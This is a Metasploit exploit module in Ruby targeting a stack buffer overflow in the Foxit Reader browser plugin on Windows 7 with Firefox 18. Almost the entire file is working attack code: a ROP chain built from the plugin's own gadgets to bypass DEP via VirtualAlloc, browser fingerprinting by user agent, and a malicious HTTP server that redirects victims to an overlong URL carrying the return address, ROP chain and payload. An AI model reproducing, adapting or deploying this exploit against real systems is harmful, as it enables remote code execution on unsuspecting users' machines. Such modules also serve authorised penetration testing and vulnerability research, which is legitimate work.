Foxit Reader Plugin URL Processing Buffer Overflow



##

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

    include Msf::Exploit::Remote::HttpServer::HTML

    Rank = NormalRanking

    def initialize(info={})
        super(update_info(info,
            'Name'           => "Foxit Reader Plugin URL Processing Buffer Overflow",
            'Description'    => %q{
                    This module exploits a vulnerability in the Foxit Reader Plugin, it exists in
                    the npFoxitReaderPlugin.dll module. When loading PDF files from remote hosts,
                    overly long query strings within URLs can cause a stack-based buffer overflow,
                    which can be exploited to execute arbitrary code. This exploit has been tested
                    on Windows 7 SP1 with Firefox 18.0 and Foxit Reader version 5.4.4.11281
                    (npFoxitReaderPlugin.dll version 2.2.1.530).
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'rgod <rgod[at]autistici.org>',       # initial discovery and poc
                    'Sven Krewitt <svnk[at]krewitt.org>', # metasploit module
                    'juan vazquez',                       # metasploit module
                ],
            'References'     =>
                [
                    [ 'OSVDB', '89030' ],
                    [ 'BID', '57174' ],
                    [ 'EDB', '23944' ],
                    [ 'URL', 'http://retrogod.altervista.org/9sg_foxit_overflow.htm' ],
                    [ 'URL', 'http://secunia.com/advisories/51733/' ]
                ],
            'Payload'        =>
                {
                    'Space'       => 2000,
                    'DisableNops' => true
                },
            'DefaultOptions'  =>
                {
                    'EXITFUNC' => "process",
                    'InitialAutoRunScript' => 'migrate -f'
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    # npFoxitReaderPlugin.dll version 2.2.1.530
                    [ 'Automatic', {} ],
                    [ 'Windows 7 SP1 / Firefox 18 / Foxit Reader 5.4.4.11281',
                        {
                            'Offset'          => 272,
                            'Ret'             => 0x1000c57d, # pop # ret # from npFoxitReaderPlugin
                            'WritableAddress' => 0x10045c10, # from npFoxitReaderPlugin
                            :rop => :win7_rop_chain
                        }
                    ]
                ],
            'Privileged'     => false,
            'DisclosureDate' => "Jan 7 2013",
            'DefaultTarget'  => 0))
    end

    def get_target(agent)
        #If the user is already specified by the user, we'll just use that
        return target if target.name != 'Automatic'

        #Mozilla/5.0 (Windows NT 6.1; rv:18.0) Gecko/20100101 Firefox/18.0
        nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
        firefox = agent.scan(/Firefox\/(\d+\.\d+)/).flatten[0] || ''

        case nt
            when '5.1'
                os_name = 'Windows XP SP3'
            when '6.0'
                os_name = 'Windows Vista'
            when '6.1'
                os_name = 'Windows 7'
        end

        if os_name == 'Windows 7' and firefox =~ /18/
            return targets[1]
        end

        return nil
    end

    def junk
        return rand_text_alpha(4).unpack("L")[0].to_i
    end

    def nops
        make_nops(4).unpack("N*")
    end

    # Uses rop chain from npFoxitReaderPlugin.dll (foxit) (no ASLR module)
    def win7_rop_chain

        # rop chain generated with mona.py - www.corelan.be
        rop_gadgets =
            [
                0x1000ce1a, # POP EAX # RETN [npFoxitReaderPlugin.dll]
                0x100361a8, # ptr to &VirtualAlloc() [IAT npFoxitReaderPlugin.dll]
                0x1000f055, # MOV EAX,DWORD PTR DS:[EAX] # RETN [npFoxitReaderPlugin.dll]
                0x10021081, # PUSH EAX # POP ESI # RETN 0x04 [npFoxitReaderPlugin.dll]
                0x10007971, # POP EBP # RETN [npFoxitReaderPlugin.dll]
                0x41414141, # Filler (RETN offset compensation)
                0x1000614c, # & push esp # ret  [npFoxitReaderPlugin.dll]
                0x100073fa, # POP EBX # RETN [npFoxitReaderPlugin.dll]
                0x00001000, # 0x00001000-> edx
                0x1000d9ec, # XOR EDX, EDX # RETN
                0x1000d9be, # ADD EDX,EBX # POP EBX # RETN 0x10 [npFoxitReaderPlugin.dll]
                junk,
                0x100074a7, # POP ECX # RETN [npFoxitReaderPlugin.dll]
                junk,
                junk,
                junk,
                0x41414141, # Filler (RETN offset compensation)
                0x00000040, # 0x00000040-> ecx
                0x1000e4ab, # POP EBX # RETN [npFoxitReaderPlugin.dll]
                0x00000001, # 0x00000001-> ebx
                0x1000dc86, # POP EDI # RETN [npFoxitReaderPlugin.dll]
                0x1000eb81, # RETN (ROP NOP) [npFoxitReaderPlugin.dll]
                0x1000c57d, # POP EAX # RETN [npFoxitReaderPlugin.dll]
                nops,
                0x10005638, # PUSHAD # RETN [npFoxitReaderPlugin.dll]
            ].flatten.pack("V*")

        return rop_gadgets
    end

    def on_request_uri(cli, request)

        agent = request.headers['User-Agent']
        my_target = get_target(agent)

        # Avoid the attack if no suitable target found
        if my_target.nil?
            print_error("Browser not supported, sending 404: #{agent}")
            send_not_found(cli)
            return
        end

        unless self.respond_to?(my_target[:rop])
            print_error("Invalid target specified: no callback function defined")
            send_not_found(cli)
            return
        end

        return if ((p = regenerate_payload(cli)) == nil)

        # we use two responses:
        # one for an HTTP 301 redirect and sending the payload
        # and one for sending the HTTP 200 OK with appropriate Content-Type
        if request.resource =~ /\.pdf$/
            # sending Content-Type
            resp = create_response(200, "OK")
            resp.body = ""
            resp['Content-Type'] = 'application/pdf'
            resp['Content-Length'] = rand_text_numeric(3,"0")
            cli.send_response(resp)
            return
        else
            resp = create_response(301, "Moved Permanently")
            resp.body = ""

            my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
            if datastore['SSL']
                schema = "https"
            else
                schema = "http"
            end

            sploit = rand_text_alpha(my_target['Offset'] - "#{schema}://#{my_host}:#{datastore['SRVPORT']}#{request.uri}.pdf?".length)
            sploit << [my_target.ret].pack("V") # EIP
            sploit << [my_target['WritableAddress']].pack("V") # Writable Address
            sploit << self.send(my_target[:rop])
            sploit << p.encoded

            resp['Location'] = request.uri + '.pdf?' + Rex::Text.uri_encode(sploit, 'hex-all')
            cli.send_response(resp)

            # handle the payload
            handler(cli)
        end
    end

end